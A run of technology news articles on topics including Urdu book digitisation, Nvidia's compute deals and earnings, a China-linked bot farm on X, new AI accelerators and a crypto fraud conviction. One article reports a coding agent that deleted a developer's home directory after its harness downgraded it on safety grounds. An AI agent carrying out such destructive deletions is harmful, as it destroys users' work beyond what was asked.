Getting an archival-quality digital copy of a page isn't as simple as taking a photograph with the best camera you can find. It requires maintaining consistent margins, text size, orientation, and using the same perspective correction across an entire book, among many other fine details. Rarely can the same procedure be used across more than a few publications — even given two otherwise identical books, book A may be much thicker than book B, meaning the spacing between the pages, and possibly the perspective, will be different.

Adding to the challenge, the bulk of the works were in Urdu script, likely Nastaliq. Urdu is the national language of Pakistan and also spoken across part of India, and in many worldwide communities. Its written form was originally an elegant flowing script, but people switched to using Roman characters with the advent of phones and the internet.

The script format means that layouts are almost always unique, and the corpus includes everything from printed books to centuries-old lithographs to handwritten notes. Plus, Urdu script uses a lot of dots, diacritics, and small symbols, meaning photography noise, dirt, and blemishes had to be visually distinguishable from actual writing. In other words, each book was its own corner case, and old lithographs in particular had copious amounts of margin notes.

All told, this meant that while photographing the books was tedious but reasonably fast, the post-processing was definitely not. After 576,000 shutter counts on the D5300 and 326,000 on the D3300 camera, there were over 526,000 dual-page photos left to handle after the team had to give up on the project in April 2026. Manually processing those was out of the question, so one of the researchers turned their eye to automation using OpenCV.

The first few attempts with standard computer-vision methods didn't work out, as a rule set that worked for a set of books completely failed for the next one. The author then understood they could use their own manually processed images to establish a source/target correspondence: in their own words, "finished pages became labels," giving birth to the idea of calculating the homography fit from the Photoshop files and using it for training a neural network.

The first challenge was matching the crop borders, easier said than done because "dense Urdu print repeats strokes, words, borders, and column patterns," meaning that marks from neighboring pages could throw off the measurements. Next up, visible area identification and gutter separation were made tricky by tables and deep gutter shadows. Cropping errors required a specific pass, as did blemish removal.

Interestingly enough, the researcher noticed that using a bigger model or more training samples actually reduced the accuracy of the results. The choice of crop margin (inset) for each book was unique, made to the editor's judgement. But since it had no discernible pattern, adding more books made the model's pattern recognition worse, not better.

The final process still needs ten calibration crops for a new book, but that's a pretty reasonable amount of manual labor to be able to process a book entirely. Finally, the books are hosted in a ZFS pool with BLAKE3 manifests.

The entire tale and all the technical details are explained in a lengthy blog post, and you can peruse the beautiful Urdu writings at the Ibteda Digital Library page at the Internet Archive. My Western eyes can't read any of it, but the poem translations are beautiful.

Nvidia on Friday denied a report by the Wall Street Journal claiming that the company had put some transactions under its recently introduced 'take or pay' AI Compute Partnership on hold, less than two months after unveiling the initiative in early July and days before detailing the effort in its earnings call. The transactions were reportedly paused as some partners were irritated with Nvidia's attempts to influence their operations and because it raised internal concerns about potential antitrust scrutiny.

"The new business model we introduced in July that opens up compute access to the fast-growing AI ecosystem is still in place and continues to evolve due to high demand," a spokesperson for Nvidia told Tom's Hardware.

The report itself does not establish that Nvidia has abandoned the AI Compute Partnership program under which the company committed to rent capacity of newly built AI data centers as well as their minimum revenue, but claims that it put some deals on hold. Meanwhile, Nvidia's denial indicates that the program continues to exist, but is evolving, which means changing.

Per the report, it looks like Nvidia attempted to control how its 'AI Compute Partners' rented their capacity. The company told some cloud providers participating in the program that they could lease its GPUs only to customers approved by Nvidia, according to the WSJ report. The company also preferred to spread available capacity across multiple smaller AI companies instead of allowing a single large customer to take most or all of it. Some cloud operators reportedly pushed back against these restrictions, arguing that they should retain control over which customers they serve. Perhaps, in turn, Nvidia put some of the deals on hold.

While Nvidia does not lend any money or directly finance AI data center buildouts (which essentially means circular financing), it provides demand commitments and guaranteed revenue levels, which perhaps raised internal concerns about potential antitrust scrutiny. As a result, Nvidia could be revising the terms of the deals it inks with partners.

$36 billion of commitments

Modern AI data centers cost billions of dollars that must be spent on the premises, infrastructure, and compute hardware well before an operator has secured enough customer contracts to finance the buildout. Meanwhile, banks or infrastructure investors want confidence that enough of the future facility capacity will actually be rented. Under the program, Nvidia intends to use its own demand commitment on a portion of the facility's capacity in exchange for a percentage of the facility's revenue if demand is strong. This makes financing AI data centers easier as from the lender's perspective, part of the project's revenue stream is effectively supported by Nvidia rather than depending entirely on the operator's ability to find customers.

"Nvidia provides a take-or-pay commitment on a portion of the facility's capacity, a minimum revenue guarantee that gives lenders the confidence to underwrite the project, and in exchange, we share in a portion of the NeoCloud's revenue earned above that floor," explained Colette Kress, chief financial officer of Nvidia, during the company's earnings call. "In this model, we get paid twice, once on the hardware sale, and again through the share of rental revenue, a highly recurring stream layered on top of a one-time equipment purchase."

While actual percentages and economic terms have not been disclosed, it should work pretty straightforwardly. Nvidia provides a take-or-pay commitment that it rents, say, 30% of the capacity of a newly built facility and a minimum revenue guarantee over a period of six years. If the demand is strong and the facility rents 80% of its capacity, well exceeding the minimum revenue guarantee, Nvidia does not need to absorb the guaranteed capacity, and because revenue exceeds the agreed floor, Nvidia receives a percentage of the excess revenue. If the demand is weak and the facility can only rent 20% of its capacity, running well below the guaranteed revenue level, Nvidia's take-or-pay obligation would require it to cover the difference between actual revenue and the contracted minimum according to the specific agreement. Alternatively, Nvidia could rent back unused compute capacity for its own needs and cover the difference between the actual and guaranteed revenue level.

While at least some participants were reportedly irritated with Nvidia's alleged control of tenants, the program has proven to be quite a success so far. As of late July, just weeks after formally announcing the program, Nvidia had committed $36 billion in these new agreements that run for six years.

"Our commitments, which are typically six years in duration, totaled $36 billion as of July 26, 2026," an Nvidia filing with the Securities and Exchange Commission reads.

Nvidia has not disclosed which portions of monetizable capacities it typically commits, so it is impossible to figure out the value of the hardware it intends to supply under the $36 billion commitments.

X’s Global Government Affairs team posted on its account that it identified a 200,000-strong bot farm operating on the platform, with 200 of them posting information designed to influence public perception. According to the team, the accounts are suspected to have been created by Chinese operators, and that they’re using the accounts to amplify the negative impacts of AI data centers, especially on electricity prices.

“We identified a bot farm of approximately 200,000 accounts. Within this farm, we found 200 accounts posting in a manner that could manipulate a legitimate debate about American AI and energy policy,” the team said in its post on the platform. “These posts contained claims that AI data centers are driving up household electricity prices and straining the grid. Others included AI-generated cartoons that depicted data-center operators enriching themselves at the public's expense.”

Some of the accounts shared by the team show names like Thomas Jackson, Patricia Robinson, Sandra Thompson, and Kenneth Flores, making it seem like they’re owned by Americans, and they’re sharing news stories from legitimate sources like The Southern Maryland Chronicle.

For example, some of their posts share the story of how PJM Interconnection hiked its prices by 76% due to AI data center demand. However, they add commentary, and sometimes even include AI-generated images designed to inflame the emotions of someone just scrolling through their feed. One narrative they’re pushing is that the costs of putting up data centers are being borne by ordinary people as big tech companies enrich themselves.

It’s unclear who sponsored or sanctioned the China-linked accounts on X, but there have been reports of China-linked operations designed to divide U.S. opinion on AI. However, the resistance against data centers isn’t all driven by Chinese propaganda, as billionaire investor Kevin O’Leary once claimed. In fact, a recent poll suggested that the biggest driver of data center protests is based on “object-level” local environmental and economic harms, especially as many other projects have shown the negative impacts they had on the community.

The concerns that many residents have about data center developments in their area are indeed valid and true, but so is the threat of foreign intervention in domestic American politics. This is no surprise, though, as nation-states have always used propaganda and information to advance their own interests. The internet, social media, and artificial intelligence have made this easier in recent years, though, so both platforms and people need to be more vigilant than ever.

Stories of AI agents running amok and following instructions literally, creatively, or a surprising mix of both are becoming common. In the case of developer Sebastien Guillemot, Claude ran an exceedingly effective cleanup operation: The bot managed to free 700 GB of disk space, but it was in the form of Guillemot's entire data folder and one week's worth of work, and it occurred after the model was automatically downgraded due to security concerns.

The developer frequently uses AI agents, and became a bit annoyed that a lot of them didn't clean up after themselves, leaving copious amounts of junk behind in the /tmp directory. Proving the old adage that once you have a hammer, everything looks like a nail, Guillemot asked Claude Fable to write a script that would sandbox each agent under its own folder in /tmp and run a cleanup after they were done. The main problem, naturally, was not deleting files that were actually in use.

Fable suggested adding logic to detect running agents and delay deleting their slice of /tmp, but Guillemot then told the bot the resulting code was far too complicated. Perhaps because the script involved hard deletion of data, Fable took it upon itself to perform an adversarial review, meaning the agent ran a new copy of itself to safety-check its own findings. Anthropic's harness then deemed the script risky enough to downgrade the model to Opus 5 and then Opus 4.8.

Opus 4.8 proceeded to run the safety test, attempting to match the targets of the deletion command against /tmp and the user's home directory to ensure a deletion command wouldn't be run against them. They were correctly identified as dangerous. However, since this was a code test, and you need to clean up after a test, the cleanup step deleted the user's home directory — it reused the same variable name for both the test itself and cleanup.

Guillemot stopped the process, but not in time. Adding insult to injury, after the agent wiped Guillemot's work, it did in fact leave /tmp behind. Some users suggested a few tools like Termaxa and other workarounds for these situations, but the fact that these tools need to exist in the first place is somewhat ironic.

The fact that the harness dropped to a lower-end model due to safety concerns likely contributed to the problem, too. Given that Fable 5 outperforms Opus 4.8 in coding tasks, it might have caught the contradiction with the variable names in the test.

The developer got most of his data back thanks to collecting information from git, nix, session logs, and so forth. Yet there's some irony: all these agents running, and not one daily backup.

Cerebras' SRAM-packed wafer-scale engines (WSEs) have carved out a niche in the AI model serving space for extremely low-latency, high-throughput inference, enabling services like OpenAI's ChatGPT-5.6 Sol Ultrafast tier. At Hot Chips 2026, the company revealed the next two generations of its wafer-scale accelerator roadmap. It also discussed the benefits of its new Nexus rack design for the CS-4 rack-scale accelerator and the performance of the three WS-3T wafer-scale engines contained within.

The integration of a huge coherent processor on a single massive slice of silicon is a unique feat in the industry. But that approach also comes with limitations. AI demands for memory are only increasing due to growing model sizes (the memory occupancy of which can be amortized across multiple inference sessions) and ever-lengthening contexts stored in large KV caches (which are also unique to each inference session).

Traditional GPU makers have addressed those pressures, in part by working with memory makers to stack HBM higher and by using more of it per accelerator to expand that precious resource in proximity to the processor. But on a wafer-scale design whose area is already 100% utilized by logic and memory, adding more of a particular resource requires giving up area that might have been used for some other purpose. Since silicon production will continue to take place on 300mm wafers for the foreseeable future, Cerebras must look in other directions to scale up the on-chip resources available to its processors.

Cerebras revealed that it will start expanding its wafer-scale engines into stacked designs with its CS-6 system’s WSE, currently two generations out on its roadmap. For the first time, Cerebras will attempt 3D stacking of DRAM on top of its logic and SRAM wafer, a move it claims will maintain the company's performance lead for inference while reducing the area required for the overall chip.

The goal of stacking wafer-scale logic and memory chips on top of one another is certainly ambitious, but it’s only one potentially important change in the CS-6 system. The concurrent reduction in area Cerebras foresees suggests the company might be able to increase the overall number of WSEs it produces, which could relax a crucial constraint as the company seeks to scale its business amid a world of ever-increasing wafer demand.

In the present, Cerebras is boosting the performance of its existing wafer-scale platform with its new CS-4 rack-scale system and its Nexus rack design. CS-4 incorporates three of the company's refreshed WS-3T wafers into self-contained "backpacks" that incorporate power delivery, scale-up networking, and liquid cooling infrastructure into a single pluggable module.

Cerebras notes that because these modules are self-contained, future wafer-scale engines built with this architecture can be swapped in without exchanging the entire rack in the process.

Cerebras chief system architect JP Fricker had choice words when describing the 5,000 cables that are used to connect the Rubin NVL72 NVLink scale-up domain within each of those racks, calling it "a mess" and contrasting it with the cleaner and less failure-prone design provided by the on-die interconnects and self-contained compute module design of the Nexus system.

The Nexus backpack design also disaggregates the I/O interfaces of the WSE from the rest of the backpack's components. Two I/O modules now connect to the edges of the wafer, providing RoCE v2 RDMA connections for interoperability with other systems, alongside a direct connection to other wafers in the rack. Because these modules are also interchangeable, they provide another potential route for future upgrades, independent of the core compute wafer.

The Nexus design situates up to 10 rack power delivery units for each backpack at the front side of the rack, each group of which can be configured for varying levels of redundancy in accordance with an operator’s needs. The rack also provides air cooling for the backpack components that need it.

Mounting the wafer-scale engines vertically in the backpack modules lets Cerebras do away with a PCB or substrate for the wafer to handle all its supporting infrastructure. Instead, the backpack connects the large copper busbar that delivers juice to the chip directly to its back side. This close contact is important, as it minimizes power losses that occur on the way to the chip, as happens with a BGA GPU chip mounted on a PCB module with all of its power delivery circuitry located around the die.

Cerebras translates the power saved this way directly into performance in the WS-3T. The company says the losses avoided by the Nexus backpack design allow it to deliver twice as much power to the wafer-scale engine as in past designs, which leads directly to increased clock speeds and up to twice the performance of the WS-3.

Using the same base silicon as the WS-3, each WS-3T delivers twice as many sparse FP16 petaFLOPS and twice as much memory bandwidth from its SRAM. But the WS3-T is still limited to 44GB of memory across the entire wafer, and three such wafers in a CS-4 rack only scale up to 132 GB, far less than the 20.7 TB of HBM in the Vera Rubin NVL72 system and the 31 TB of AMD’s Helios.

The company doesn’t publish dense PFLOPS figures for these engines, possibly because the dataflow architectural design of the chips is specifically built to derive advantage from sparsity in a way a traditional GPU usually isn’t.

In any event, to accommodate the larger models of today and tomorrow, Cerebras will need to scale up and out. But unlike other rack-scale systems that rely on Ethernet for scale-out, Cerebras can simply connect CS-4 systems together using the same wafer-to-wafer interconnect that connects wafer-scale engines together in the Nexus rack. The company claims 2.4 Tb/s of direct scale-up bandwidth per wafer within the rack for a total of 7.2 Tb/s of inter-chip bandwidth at 2 μs latencies.

Cerebras notes that with its architecture, only the model activations need to pass between wafer-scale engines, so the relatively low bandwidth of the direct wafer connection isn't the obstacle to scaling out the system that it might seem when evaluated against the hundreds of terabytes per second of scale-up bandwidth of a system like Vera Rubin NVL72 or AMD's Helios. (The on-die fabric of the WSE-3T boasts 53.4 PB/s of bandwidth, regardless.)

The CS-4 system architecture lays the groundwork for the next-generation CS-5 accelerator, which will use new WSE silicon in 2027. For smaller models, the company says the next-generation WSE will deliver up to 10,000 tokens per second per user, while larger frontier models from labs like DeepSeek or OpenAI could run at 5,000 tokens per second per user.

As Nvidia CEO Jensen Huang has said, AI agents are impatient, and the ability to provide such vast numbers of tokens per second using specialized accelerators like the CS-4 will likely continue to be an important niche for Cerebras to exploit alongside its partners at OpenAI and AMD going forward.

Nvidia expects sales of the Vera Rubin platform to account for around 20% of its data center revenue in the third quarter of its fiscal year 2027, which will make it the company's fastest-ramping data center product in history. As Nvidia projects its revenue to be around $108 billion in Q3 FY2027, sales of Vera Rubin hardware alone will total around $20 billion in just one quarter.

"We see Vera Rubin accounting for about 20% of data center revenue in Q3," said Colette Kress, chief financial officer at Nvidia, during the company's earnings conference call with financial analysts and investors. "Having already received purchase orders from every major hyperscaler, AI cloud, and system OEM, we expect Vera Rubin to mark the fastest product ramp in Nvidia's history."

Data center revenue has accounted for around 92% of Nvidia's quarterly sales in recent quarters, so as long as Nvidia meets its $108 billion earnings projection in Q3, its data center revenue will reach around $99.36 billion, meaning that sales of its Vera Rubin platform hardware will be around $19.872 billion.

Nvidia began to ramp up production of Vera Rubin components — that include Vera CPUs, Rubin GPUs, BlueField 4 DPUs, and other units — this spring and commenced first revenue shipments of actual VR200 NVL72 racks in August, with Microsoft being the first to deploy commercial systems (at least according to Satya Nadella).

Normally, companies ramp up production and sales of their data center platforms for several quarters. Ramping up a data center platform from effectively no production revenue in Q2 FY2027 to 20% of revenue ($20 billion in this case) in just one quarter is a record not only for Nvidia, but perhaps for the whole industry, given Nvidia's scale. However, there is a catch: actual unit shipments do not look truly breakthrough.

Exact volumes of Vera Rubin units that Nvidia plans to ship in the third quarter of its fiscal 2027 are unknown. However, if Nvidia ships only VR200 NVL72 rack-scale systems, depending on their actual price and configuration (estimated from $5 million to $7.8 million per unit), Nvidia will supply from roughly 2,550 to approximately 3,975 machines containing 91,700 – 143,100 Vera CPUs as well as 183,500 – 286,100 Rubin GPUs.

These numbers are, of course, very rough since the company will sell a boatload of MGX servers and even Vera CPUs and Rubin GPUs separately, meaning that actual unit shipment volumes of these key components will be higher. Nonetheless, we are still talking about hundreds of thousands, rather than millions, of CPUs and GPUs, which is not particularly many. Still, given the stellar prices of leading-edge AI hardware, even relatively limited volumes of these components can generate tens of billions of dollars in revenue.

Nvidia has agreed to acquire Hugging Face for $12.9 billion, according to The Information, citing a person familiar with the deal. If the report is accurate and Nvidia indeed buys Hugging Face, the purchase could strengthen Nvidia's open-model strategy, provide another route to sell AI hardware, and help defend its hardware business as Anthropic, Google, OpenAI, and other major hyperscalers develop their own accelerators.

Nvidia sells hundreds of billions worth of AI hardware every year. Although the ubiquity of its CUDA software stack and leading performance of its hardware are the primary reasons why Nvidia's AI platforms are sold like hot cakes, another important factor is that many AI models were trained on Nvidia hardware and are optimized to run on it. Therefore, the more models trained on Nvidia hardware, the more products the company is going to sell eventually.

Hugging Face is an AI development platform best known for the Hugging Face Hub, a GitHub-like repository where researchers and developers publish, discover, download, and collaborate on AI models, datasets, and applications. Hugging Face also develops widely used software such as the Transformers library and provides tools and cloud services for training, optimizing, and deploying models on different types of AI hardware.

In addition to hosting models, datasets, and applications, Hugging Face provides software that helps developers optimize and deploy AI models on different CPUs, GPUs, and AI accelerators, while its Inference Endpoints service lets customers run models on managed infrastructure hosted by AWS, Google Cloud, and Microsoft Azure.

To make things simple, Inference Endpoints allows customers to select the provider, region, hardware type, and instance. What is important here is that the hardware used by Amazon, Google, and Microsoft is not all Nvidia. Hugging Face currently offers, depending on the provider, AWS Inferentia, AMD Instinct, Google TPU, Intel CPUs, and Nvidia accelerators, among other configurations.

OpenAI models, datasets, popular applications, and abilities to optimize and deploy AI models on different hardware make Hugging Face strategically important to Nvidia. On the one hand, the company can make the platform exclusively rely on its hardware, though this may face a backlash from the community, so this is something unlikely to happen in the short term (even assuming Nvidia is indeed set to buy Hugging Face). On the other hand, Nvidia wants open models to remain competitive with proprietary offerings from companies like Anthropic and OpenAI that may eventually get optimized for proprietary non-Nvidia hardware. Nvidia has been building its own Nemotron open models and has committed tens of billions of dollars to the effort. Furthermore, as Hugging Face grows, so is adoption of AI hardware in general and Nvidia hardware in particular.

Hugging Face is growing rapidly, but its revenue remains modest compared with the purchase price, according to The Information. The 10-year-old company recently reached approximately $150 million in annualized revenue, compared with about $100 million several months earlier, which puts Nvidia's price at roughly 80 times forward revenue, something that clearly highlights the strategic nature of the acquisition. Negotiations reportedly began after Hugging Face received acquisition interest elsewhere.

CEO and co-founder Clem Delangue said in June that paying subscribers doubled during the first half of 2026 and recently said the company was close to profitability. Demand has benefited from improving Chinese open models from Z.ai, Moonshot, and DeepSeek.

If Nvidia proceeds with the takeover, the transaction will be a part of Nvidia's increasingly aggressive investments across the AI ecosystem that spans from hardware to models to software. Last week, Nvidia agreed to pay $6 billion to license development technology from open-model developer Poolside and offered jobs to more than 100 employees. Nvidia also acquired Groq, Enfabrica, Essential AI, Illumex, and Kumo AI, just to name some.

OpenAI made quite a splash back in June, when it unveiled its 'Jalapeño' AI accelerator and revealed that the chip reached tape-out in just nine months. At the Hot Chips conference, OpenAI disclosed more details about the architecture of its Jalapeño inference processor as well as shared its target and real-world performance numbers. The company claims its NUMA-style spatial architecture enables Jalapeño to outperform Nvidia's GB200 and GB300 in low-latency inference and in terms of performance-per-watt, while a 2,048-processor system scales to 27 exaFLOPS and 32 PB/s of aggregate memory bandwidth.

A massive chip with massive scaling

OpenAI's Jalapeño is a massive AI inference accelerator co-developed with Broadcom, with 216 GB of HBM4 memory and up to 15.4 TB/s of bandwidth. The processor delivers up to 3.4 MXFP8 PFLOPS as well as up to 13.4 MXFP4 PFLOPS at 700W, which makes it suitable for inference, though the MXFP4 format may not be enough for training. The ASIC has a 700W power rating and operates at 1.70 GHz on silicon already running in OpenAI's labs, though OpenAI's engineers said at Hot Chips that the plan is to increase clocks up to 1.80 GHz, perhaps to get higher peak performance.

On the scalability side of matters, Jalapeño can scale to 128 accelerators in a local rack interconnected using Ethernet at 600 GB/s and to 2,048 ASICs in a 16-rack pod configuration at 200 GB/s per processor. The complete system offers 27 EFLOPS of MXFP4 performance, 432 TB of HBM4 memory, and 32 PB/s of aggregate memory bandwidth. For connectivity, OpenAI uses Broadcom Tomahawk 6 Ethernet switches and what it calls a 'half-flattened' two-level Clos topology that provides higher bandwidth for tensor-parallel traffic, lower bandwidth for expert-parallel communication, and prioritizes low latency for both. During the Q&A session, OpenAI confirmed that the scale-up network uses Ethernet with 200-Gb/s links. Jalapeño's physical hardware around the Broadcom-made chip is set to be made by Celestica.

On paper, Jalapeño's specifications look good, but they barely look impressive compared to Nvidia's Blackwell Ultra accelerators (10 FP8 PFLOPS, 20/15 sparse/dense NVFP4 PFLOPS). However, OpenAI argues that raw compute and memory bandwidth are not what makes its Jalapeño platform different.

The company says a 128-ASIC Jalapeño domain has more than 1 PB/s of aggregate HBM4 bandwidth, which is significantly higher compared to GB300 NVL72 (576 TB/s). A one-trillion-parameter model using FP4 weights requires about 0.5 TB. So, purely from a bandwidth perspective, the system could read the entire model more than 2,000 times per second. Meanwhile, actual inference performance comes nowhere near that theoretical ceiling, which is why hardware developers do not tend to add HBM bandwidth infinitely.

Smart data movement

Instead, Jalapeño uses what OpenAI describes as a memory-sliced, or NUMA-style, architecture. The chip has 64 core slices, and each of them is paired with its own HBM slice to guarantee predictable latency and bandwidth. OpenAI says this arrangement avoids conflicts associated with a unified memory subsystem and lets frequently used operands remain close to the compute resources that need them. OpenAI does not explain why it chose exactly 64 slices, which likely means it was a sweet spot for the current architecture.

To connect the 64 core slices, OpenAI uses a specialized high-bandwidth, low-latency collective network that moves data coupled to compute operations 'register-to-register, with zero conflicts' in a bid to eliminate several performance bottlenecks. In addition, Jalapeño has a separate general-purpose network-on-chip (NoC) that handles less common communication (e.g., remote/global memory accesses) and provides access to the external scale-up network.

The distinction between these fabrics is substantial. OpenAI describes the general NoC as deliberately more 'anemic than you would expect from a normal chip architecture' as it does not want performance-critical traffic to use it typically. By contrast, the ultra-fast collective network organizes data movement, so operands arrive in registers when needed rather than leaving compute engines and then waiting for memory, network traffic, or global synchronization, which creates internal performance bottlenecks.

In general, it looks like one network is optimized for speed and predictability for inter-core communications, whereas the other is optimized for general use cases. Trying to make one NoC do both would require a much more capable general network, consume more silicon/power, and reintroduce contention.

A different approach

OpenAI's Jalapeño is also designed for the very different types of work that happen during a single agentic inference request.

To explain how it works, let us compare OpenAI's and Nvidia's approaches. Nvidia's standard system-level decomposition is primarily two phases: prefill and decode. Prefill is generally compute-bound (which is why Nvidia tried to assign Rubin CPX with GDDR7 for this one), while decode is generally memory-bound (which is why Nvidia wants to keep GPUs with HBM for this). By contrast, OpenAI breaks the process into three phases: prefill (compute-bound), draft (latency-bound), and verification (bandwidth-bound).

In theory, OpenAI could have assigned each phase to a different type of specialized accelerator. However, the amount of prefill, drafting, and verification changes depending on the model, context length, token efficiency, and software algorithms. As a result, it is hard to predict the number of processors that must be deployed, so it's inevitable that some phases would sit idle. To that end, it makes more sense to develop one balanced ASIC that can do everything.

As a bonus, a universal inference accelerator does not need to move increasingly large KV cache to its peers, unlike highly specialized ASICs, which ultimately means less power consumed.

Chips develop chips

Despite Jalapeño's exceptionally short development cycle, OpenAI says that most of the processor was designed from scratch rather than assembled from existing Broadcom accelerator IP. OpenAI's Richard Ho said the compute die reuses some interface IP, but most of its Register Transfer Level (RTL) was newly written using XLS and Verilog. Meanwhile, development moved remarkably quickly: initial RTL work began in February 2025, the design taped out in November, first silicon arrived in May 2026, and OpenAI had Codex running on Jalapeño that same month.

One reason OpenAI was able to move so fast with its development was its extensive use of AI to assist and optimize the design. More than half of the core was written using the XLS hardware language and compiler infrastructure, while OpenAI's own AI models searched for ways to improve power, performance, and area (PPA). Compared with human 'baseline' designs, OpenAI reports improvements of 56% for a BF16 multiplier, 21% for an FP4 dot-product block, and 10% for an FP32 accumulator, along with 10% and 8% area reductions for the matrix and SIMD units. The company says that AI-assisted optimization even helped squeeze circuitry into a floorplan block that otherwise would not have fit, though OpenAI remains tight-lipped about what circuitry it was.

Jalapeño is OpenAI's first, but not the last, attempt to develop custom inference hardware. The company says its 2^nd Generation already well into development and heading toward tape out, while Richard Ho said during the presentation that Gen 3 is already 'operational,' even though his slide said 'planned.'

Programmability

Because Jalapeño features its unique spatial and sliced architecture, it is programmed differently from Nvidia's CUDA GPUs. OpenAI says Jalapeño can be programmed using a low-level programming environment in the open-source Triton ecosystem. Unlike the latest versions of CUDA, which ensure that its code runs on all Nvidia GPUs and aligns with the tensor-heavy execution model of Blackwell processors and their successors, Jalapeño gives software more explicit control over where data and computation are placed.

Each core has fast access to its local portion of HBM; these cores are interconnected using an ultra-fast network, so the software must be able to determine where tensors are physically located and how they are distributed across the chip. This makes programming the spatial architecture more complicated, so OpenAI also uses AI to find efficient data placement, scheduling, and communication patterns and to optimize kernels for the hardware.

Meanwhile, optimal mapping is architecture-dependent, so once OpenAI changes the number of cores, local-memory organization, collective-network topology/bandwidth, or compute resources in next generations of its accelerators, the old placement and scheduling may no longer be optimal and will require AI tools to perform hardware-specific optimizations again. By contrast, software written for Blackwell will work on Rubin and then Feynman without modifications.

But how good is OpenAI's software stack compared to CUDA? Apparently, good enough, based on performance results published by the company.

Performance

Instead of comparing peak performance numbers, OpenAI used SemiAnalysis' InferenceX benchmark to compare Jalapeño and Nvidia's GB200/GB300 across their complete latency-versus-throughput curves. The company measured how many tokens each system could deliver at comparable user-perceived latency and normalized the results by package power — 700W for Jalapeño, 1,200W for GB200, and 1,400W for GB300 — meaning that while Nvidia's hardware can lead in terms of absolute performance, OpenAI's accelerator leads in efficiency.

Compared to Nvidia GB200/GB300, Jalapeño delivers:

• Roughly 1.5X – 1.9X higher peak throughput per watt
• 1.7X – 3.6X lower end-to-end latency
• 2.1X – 4.1X lower minimum time between tokens (TBT)
• At Nvidia's minimum-TBT operating points, Jalapeño can deliver up to 104.3X higher throughput.
  
  This methodology particularly favors Jalapeño's strength at low latency, so the result is significantly inflated. The 104.3X figure means that at GB300's lowest-latency operating point, Jalapeño can maintain 104.3X higher throughput, not that Jalapeño is 104.3X faster overall.
• OpenAI also noted that its internal models show an even larger advantage for the Jalapeño platform and says applying multi-token prediction to Jalapeño can improve latency by another 3X to 5X at equivalent efficiency.

AI makes chips now

OpenAI used Hot Chips 2026 to fully detail Jalapeño, its first custom inference AI accelerator co-developed with Broadcom. The ASIC relies on a NUMA-style architecture built around 64 memory/core slices, carries 216 GB of HBM4 memory, and has compute performance of up 13.4 MXFP4 PFLOPS at 700W. Being aimed at AI data centers, Jalapeño scales from 128 accelerators per rack to 2,048 inference processor per pod and can provided up to 27 EFLOPS of MXFP4 compute, 432 TB of HBM4, and 32 PB/s of aggregate memory bandwidth per cluster.

While absolute performance of Jalapeño may fall short of what Nvidia's Blackwell or Rubin offer, the company argues that the main advantage of its AI inference accelerator platform is its performance-per-watt achievements as well low latency. OpenAI says its Jalapeño delivers roughly 1.5X – 1.9X higher peak peak-performance-per watt and 1.7X – 3.6X lower end-to-end latency than Nvidia GB200/GB300 in its InferenceX comparisons.

Perhaps the most impressive, or maybe even terrifying, though certainly not unexpected thing that OpenAI revealed is that AI played a major role in Jalapeño's unusually fast nine-month RTL-to-tapeout development cycle and also enabled the company to improve performance, power, and area, of the design. Jalapeño's successor is already heading toward tapeout and OpenAI's 3^rd Generation AI accelerator is already in development.

A Nevada court has found a Las Vegas businessman guilty of 11 counts of wire fraud, two counts of mail fraud, and two counts of money laundering for defrauding over $24 million from hundreds of investors. According to the U.S. Attorney’s Office, Brent Kovar presented Profit Connect to investors as a crypto mining operation that used an artificial intelligence supercomputer for its operations. He promised a fixed rate of return that paid 15% to 30% APR and also came with a 100% money-back guarantee. However, it turned out that the “profits” that the earlier investors made only came from the influx of newer investors, and that the company wasn’t making any money.

Kovar victimized 400 investors, telling them that the company had cryptocurrency reserves worth hundreds of millions of dollars. In reality, it had zero holdings, couldn’t afford to pay investors their interest earnings, and had no way to return their cash despite the offered guarantee. “He used investor money to operate Profit Connect, to buy gifts for employees, to buy a house for himself, and to repay investors as if those repayments came from mining cryptocurrency and verifying cryptocurrency transactions,” the Department of Justice said in its press release.

Profit Connect operated from 2017 to 2021, which is around the same time that Bitcoin made its first major rally, with the cryptocurrency hitting a peak of over $19,000 in December of that year. This, combined with the buzzwords of “AI” and “supercomputer,” made it seem to investors that they were putting money in a groundbreaking new technology that would change the way we do finance. Unfortunately, the venture turned out to be a scam and defrauded investors out of their money with nothing to show for. It’s unclear if the funds that the investors lost will ever be recovered, but Kovar is facing a possibly lengthy jail time of a maximum of 280 years for his crimes.

Another scam rooted in cryptocurrency investment from 2017 saw retail investors lose $2 billion. BitConnect offered a similar guaranteed return on investment for anyone who put up cash on its platform until 2018, but instead of using the deposited money for trading, it was just siphoned off to the organization’s private digital wallet addresses. Even before this, another Ponzi-scheme scammer made off with $6 billion from her victims in China from 2014 until 2017 and converted it into 61,000 Bitcoin. While she has already been arrested, the seized cryptocurrency is still in limbo, so it’s unclear if and when her victims will get their money back.

While the unprecedented pace of development of artificial intelligence and its impact on human society is being discussed widely among academic circles, Bill Gates says that nations and governments are not doing enough to prepare their citizens for the upcoming upheaval this technology will deliver. The billionaire said in the GatesNotes blog that the world needs a plan to face the changes that AI will bring, proposing measures including reserving jobs for humans and taxing AI tokens. While other experts and academics equate it with other technologies like computers and the internet, Gates argues that people had decades to get used to the latter and incorporate it in processes and workflows, while the former is already widely available today.

Because of this, he pointed out that people today are facing risks brought about by AI, such as job loss, the use of the tool by bad actors, and the replacement of genuine human relationships, especially among children. Gates said that he will focus on other issues in later posts but dived into the issues of job security and income taxes in his commentary. He said that entry-level jobs have fallen significantly, making it harder for fresh graduates to gain experience and increase their skills. The former Microsoft chairperson acknowledged that society needs time to make adjustments but also pointed out that it might be too late for some unless there is some kind of intervention. “The people who need the most time are the ones who have the least — the accounting worker who’s replaced by a bot or the $20-an-hour worker who loses their job to a $10-an-hour robot,” Gates wrote.

Gates said that as AI and robots improve and replace humans in different tasks, some jobs should be marked as “Human Reserved.” He likened the term to nature reserves, places that people could have developed but didn’t “because the loss would be too great.” These jobs don’t have to be static positions that will stay the same for the rest of time but could be a slow evolution where AI tools are slowly introduced across years and decades. This is particularly important for industries whose practitioners would be displaced by AI and wouldn’t be able to pivot to other skills, citing a 55-year-old who has worked in construction their whole life and is not able to transition to the health industry as an example. He also mentioned that some jobs will never be fully taken over by AI as they require some form of human touch, like education and healthcare.

The billionaire philanthropist also noted that the reduction of human employees would also equate to a reduction in the individual income taxes that governments collect. The U.S. Treasury said that more than half of the federal revenue came from individual income taxes in 2025 and 2026, meaning falling employment would also make a huge impact on the government’s coffers. The current tax setup encourages executives to replace people with robots, which are often tax-deductible expenses. He instead suggested that the government should tax AI tokens and robots — aside from helping the federal balance sheet, it will also motivate businesses to prioritize hiring and keeping people instead of buying machines.

